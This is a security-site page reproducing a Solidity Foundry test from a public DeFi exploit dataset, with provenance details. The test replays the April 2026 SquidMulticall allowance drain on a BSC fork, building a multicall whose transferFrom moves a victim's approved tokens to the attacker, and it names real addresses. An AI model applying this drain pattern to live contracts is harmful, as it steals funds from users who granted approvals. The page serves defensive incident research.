Skip to content
THREATWIRE

Public reproduction file

src/test/2026-04/SquidMulticallAllowanceDrain_exp.sol

Public reproduction file for dataset entry SquidMulticallAllowanceDrain.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-04/SquidMulticallAllowanceDrain_exp.sol98 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 1 ETH
8// Attacker : 0xe02b595ca69d8d3e120043536e6e76caea385a82
9// Attack Contract : 0x101c6e9f62554ddd3a32f395c655e20512ab321d
10// Vulnerable Contract : 0xad6cea45f98444a922a2b4fe96b8c90f0862d2f4
11// Attack Tx : https://bscscan.com/tx/0x81d0c429ee7eae19d8c4d9d797dbd3828279060096e703b11cca739c9b1301e9
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0xad6cea45f98444a922a2b4fe96b8c90f0862d2f4#code
16// @Analysis
17// Twitter Guy : https://x.com/DefimonAlerts/status/2041530294369386806
18//
19// The attacker used SquidMulticall.run with one Default call whose target was the Binance-Peg ETH token.
20// Because the victim had approved SquidMulticall, the multicall contract could execute transferFrom and
21// move 1 ETH from the victim to the attacker.
22// The Twitter report notes about $800K of cross-chain approvals were at risk and about $512K was later
23// rescued by Defimon. This PoC is scoped to the exploit transaction, which transferred 1 ETH.
25address constant ATTACKER = address(bytes20(hex"e02b595ca69d8d3e120043536e6e76caea385a82"));
26address constant SQUID_MULTICALL = address(bytes20(hex"ad6cea45f98444a922a2b4fe96b8c90f0862d2f4"));
27address constant VICTIM = address(bytes20(hex"acc0c1f672b03b9a5fed4535f840f09b85f40e98"));
28IERC20 constant ETH_TOKEN = IERC20(address(bytes20(hex"2170ed0880ac9a755fd29b2688956bd959f933f8")));
30interface ISquidMulticall {
31 enum CallType {
32 Default,
33 FullTokenBalance,
34 FullNativeBalance,
35 CollectTokenBalance
36 }
38 struct Call {
39 CallType callType;
40 address target;
41 uint256 value;
42 bytes callData;
43 bytes payload;
44 }
46 function run(
47 Call[] calldata calls
48 ) external payable;
51contract ContractTest is BaseTestWithBalanceLog {
52 function setUp() public {
53 uint256 forkBlock = 91_122_249;
54 vm.createSelectFork("bsc", forkBlock);
56 fundingToken = address(ETH_TOKEN);
57 attacker = ATTACKER;
59 vm.label(ATTACKER, "Attacker");
60 vm.label(SQUID_MULTICALL, "SquidMulticall");
61 vm.label(VICTIM, "Victim");
62 vm.label(address(ETH_TOKEN), "ETH Token");
63 }
65 function testExploit() public balanceLog {
66 uint256 attackerBefore = ETH_TOKEN.balanceOf(ATTACKER);
67 uint256 victimBefore = ETH_TOKEN.balanceOf(VICTIM);
68 uint256 allowanceBefore = ETH_TOKEN.allowance(VICTIM, SQUID_MULTICALL);
69 uint256 drainAmount = 1 ether;
71 assertEq(allowanceBefore, type(uint256).max, "victim did not approve SquidMulticall");
72 assertGe(victimBefore, drainAmount, "victim did not hold enough ETH");
74 // step 1: build the same SquidMulticall Call shape used by the exploit transaction.
75 ISquidMulticall.Call[] memory calls = new ISquidMulticall.Call[](1);
76 calls[0] = ISquidMulticall.Call({
77 callType: ISquidMulticall.CallType.Default,
78 target: address(ETH_TOKEN),
79 value: 0,
80 callData: abi.encodeCall(IERC20.transferFrom, (VICTIM, ATTACKER, drainAmount)),
81 payload: bytes("")
82 });
84 // step 2: any caller can make SquidMulticall execute the token transferFrom.
85 vm.prank(ATTACKER, ATTACKER);
86 ISquidMulticall(SQUID_MULTICALL).run(calls);
88 // step 3: prove the victim allowance was spent and the attacker received the trace amount.
89 uint256 attackerGain = ETH_TOKEN.balanceOf(ATTACKER) - attackerBefore;
90 uint256 victimLoss = victimBefore - ETH_TOKEN.balanceOf(VICTIM);
91 uint256 allowanceSpent = allowanceBefore - ETH_TOKEN.allowance(VICTIM, SQUID_MULTICALL);
93 assertEq(attackerGain, drainAmount, "attacker did not receive ETH");
94 assertEq(victimLoss, drainAmount, "victim did not lose ETH");
95 assertEq(allowanceSpent, drainAmount, "allowance was not spent by ETH transferFrom");
96 emit log_named_decimal_uint("ETH drained through SquidMulticall", attackerGain, 18);
97 }

Analysis

Dataset entry

Public Foundry test for “SquidMulticallAllowanceDrain” (2026-04-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

16 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xe02b595ca69d8d3e120043536e6e76caea385a82

  • Attack Contract

    0x101c6e9f62554ddd3a32f395c655e20512ab321d

  • Vulnerable Contract

    0xad6cea45f98444a922a2b4fe96b8c90f0862d2f4

  • Attack Tx

    0x81d0c429ee7eae19d8c4d9d797dbd3828279060096e703b11cca739c9b1301e9

File record

Name
SquidMulticallAllowanceDrain
Path
src/test/2026-04/SquidMulticallAllowanceDrain_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
83b71e60ce3a3805a70ba699636a103d33f1b74d
Language
Solidity
Size
99 lines
Date
2026-04-07
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-04/SquidMulticallAllowanceDrain_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 83b71e60ce3a3805a70ba699636a103d33f1b74d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.